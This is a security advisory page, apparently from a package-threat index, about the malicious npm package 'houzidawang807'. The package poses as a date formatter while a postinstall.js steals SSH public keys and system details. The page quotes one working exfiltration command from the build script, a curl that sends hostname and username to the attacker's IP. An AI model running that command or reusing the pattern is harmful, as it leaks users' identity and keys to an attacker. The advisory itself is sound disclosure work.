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Incident detail

criticalnpm·malware·osv

Malicious code in houzidawang807 (npm)

houzidawang807

Risk score

92

AI summary

Indexed incident for houzidawang807 (npm).

Description

Package advertises itself as 'a simple date formatting utility' but ships an SSH-key-stealing C2 client. postinstall.js enumerates ~/.ssh for *.pub files, collects the installer's username and platform, and POSTs a JSON payload over HTTPS to the hardcoded bare IP 124.221.154.135. Source comments explicitly label this destination as the attacker's C2 server. package.json additionally declares a build script that curls http://124.221.154.135/pre?h=$(hostname)&u=$(whoami), leaking host identifiers in plaintext to the same C2. The legitimate-looking surface is a 3-line formatDate wrapper in index.js; the rest of the package is attack tooling. Although the malicious file is named postinstall.js, it is not currently wired into a lifecycle hook (scripts only declares build), so default npm install does not auto-execute it — however, the file is loaded by any consumer that requires the package or invokes the build script, and the file's name strongly suggests the author intends to enable it as a lifecycle hook in a follow-up version.

Technical details

Affected versions

=1.1.6

Indicators

  • affected version=1.1.675%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

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